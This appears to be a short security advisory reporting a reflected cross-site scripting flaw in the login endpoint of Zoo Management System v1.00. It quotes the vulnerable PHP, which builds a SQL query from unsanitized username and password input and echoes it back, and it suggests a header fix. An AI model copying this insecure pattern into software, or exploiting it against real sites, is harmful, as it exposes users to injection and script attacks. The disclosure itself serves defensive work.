The Project Zoo Management System v1.00 is vulnerable to Cross-site scripting (XSS) on /zms/classes/Login.php?f=login due to:
- Invalid
Content-typeof JSON Responses on/zms/classes/Login.php?f=login - Unsanitized User Input in Responses
Allowing unauthenticated attackers to inject malicious HTML/JS that executes in victim's browsers.
/zms/classes/Login.php
return json_encode(array(
'status' => 'incorrect',
'last_qry' => "SELECT * from users where username = '$username' and password = md5('$password') "
));- The endpoint does not set the content type to application/json.
$usernameparameter is not sanitized when used in SQL queries or when reflected in the response, This same flaw previously resulted in a SQL Injection vulnerability (CVE-2025-7160)
Add this line on the function login():
public function login(){
header('Content-Type: application/json; charset=utf-8');
extract($_POST);
